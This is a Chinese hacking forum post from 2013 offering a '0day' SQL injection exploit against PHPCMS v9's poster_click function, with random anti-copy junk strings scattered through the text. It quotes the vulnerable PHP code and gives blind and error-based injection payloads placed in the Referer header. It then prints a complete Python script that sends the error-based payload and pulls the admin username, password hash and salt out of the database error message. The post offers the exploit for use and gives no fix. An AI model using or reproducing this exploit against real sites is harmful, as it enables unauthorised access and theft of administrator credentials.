找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2449|回复: 0
打印 上一主题 下一主题

phpcms post_click注入0day利用代码

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:01:00 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:
. l3 j* e  b) o/ k) H' T3 b, W4 d9 F& C
问题函数\phpcms\modules\poster\index.php
, W6 Q/ @& F' ?5 i
+ b1 R: T6 s4 L0 @5 V& c, jpublic function poster_click() {
; t" b$ A* u6 |" ~; `$id = isset($_GET['id']) ? intval($_GET['id']) : 0;4 |9 ^# K: {. a
$r = $this->db->get_one(array('id'=>$id));
8 j3 X9 |# E7 Z" r& X3 u' O# g! Cif (!is_array($r) && empty($r)) return false;
0 R  Q; C2 y3 b: G$ip_area = pc_base::load_sys_class('ip_area');
! O6 ~) N7 k6 Q: |" @9 q$ip = ip();
2 x, i8 r$ ~/ j5 u* I$area = $ip_area->get($ip);
0 _' {- P+ r4 H' p5 ^5 |% y$username = param::get_cookie('username') ? param::get_cookie('username') : '';
7 l+ Q3 O, R. E" L: O: M4 s1 zif($id) {
  E* j* u5 d3 X- x$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();  f- B8 B4 o( S1 W7 H, U  r% L
$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
' ~, @+ B; H1 w  o9 e}
9 ?5 Y& s; m$ m' H" w+ {7 l$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
7 o' b" o2 a/ k5 q- _/ r$setting = string2array($r['setting']);& g3 ?$ Q& H/ [/ [
if (count($setting)==1) {1 F4 K/ [4 f9 W5 y* L9 t' A4 U
$url = $setting['1']['linkurl'];# O2 o" E& d1 L
} else {
5 ?, f6 c& Q" C* C7 w2 W' v$ P7 K$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
* l% L# `- u; l( F5 |- N}
# U# a% B4 l' Vheader('Location: '.$url);
- e6 o* e; }. W: v, {4 `! @3 l}
! |& }8 O; S7 ^5 S9 w6 V# E; X* d  U8 ]- Z6 L+ x
7 X; w! ]/ ?1 m  s' k* v

0 U/ i" {9 R+ f: q, z$ l利用方式:
! z8 V4 L. O5 G: G9 v' e9 a1 O1 F0 f. h0 v, `/ S! x" K+ ~0 X) l
1、可以采用盲注入的手法:. j" O( Y/ }7 W7 d( o. V

) {3 }) k: G1 r  `2 Greferer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#! L- z% ]+ A7 U; b' n
, P7 K& V' n, @/ A& ]/ C1 ]* F
通过返回页面,正常与否一个个猜解密码字段。7 G) W0 b, N0 T0 |7 a: _
! V# V" S; n( c1 X9 h2 @
2、代码是花开写的,随手附上了:" \+ G* y4 F, z/ x
- W" Q+ e4 g$ R3 h& F$ I
1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#( x7 G; N8 S; y/ S' A! i* m
2 i/ w! q& |' l3 }4 ?: F4 {* F
此方法是爆错注入手法,原理自查。
) d3 S6 F5 @) O% r  o: L" D" C
" {& p# J! @( L' P  {+ @9 b
8 f' t# R& o2 r; c9 p* d  q) B4 a. l  a. d7 N, v% u& c
利用程序:) f0 M( p! [# g9 }4 P! E4 y3 x  r

  O# D& b& i8 C$ G/ }#!/usr/bin/env python
; O& N8 g# {6 G$ }, E* l$ {import httplib,sys,re8 S8 I8 ]& D4 K1 G; [3 ^

& u. A8 _4 V( H( J# gdef attack():, o  V. e) K  C% O. O2 L
print “Code by Pax.Mac Team conqu3r!”) E. N* h. P4 m
print “Welcome to our zone!!!”# k5 f3 N: h: a: W. T* i* X$ j
url=sys.argv[1]
) `; z6 l0 A1 y' H: X1 }: g' Kpaths=sys.argv[2]2 p1 S9 _* ^" ^( ^9 K3 B
conn = httplib.HTTPConnection(url)" S8 ]5 S! x/ B: w, _4 {
i_headers = {“User-Agent”: “Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5″,
! A8 U( X7 R- j5 N) k“Accept”: “text/plain”," S8 [+ f( S- o
“Referer”: “1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#”}
/ z$ P/ c! P# k7 G  econn.request(“GET”, paths+”/index.php?m=poster&c=index&a=poster_click&sitespaceid=1&id=2″, headers = i_headers), v: k" Q" ]. P7 [/ y- ]
r1 = conn.getresponse()
* p9 o$ q4 C$ }( Ldatas=r1.read()3 m: d; x* `1 r8 R6 O' \
datas=re.findall(r”Duplicate entry \’\w+’”, datas)* p4 d1 |( ?; \
print datas[0]1 c8 C  _& h1 P& a
conn.close()' X% E( a' O0 W0 {* X' v
if __name__==”__main__”:
0 D6 \) {/ h2 M3 O2 w1 u& Xif len(sys.argv)<3:
' d+ u. @; l' i* J  L" m* K0 ~8 Zprint “Code by Pax.Mac Team conqu3r”6 ]# f$ h/ f/ \
print “Usgae:”( _* N5 w- X/ U1 Y, F
print “    phpcmsattack.py   www.paxmac.org /”8 M2 \( k7 I( }# z9 ]
print “    phpcmsataack.py   www.paxmac.org /phpcmsv9/”
' r+ K; S0 p# R5 Lsys.exit(1); m  S0 x5 @4 S* S; y
attack()! k. E4 h9 X: I% K# k
. z5 c2 T, o; ^' q2 ~# J
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表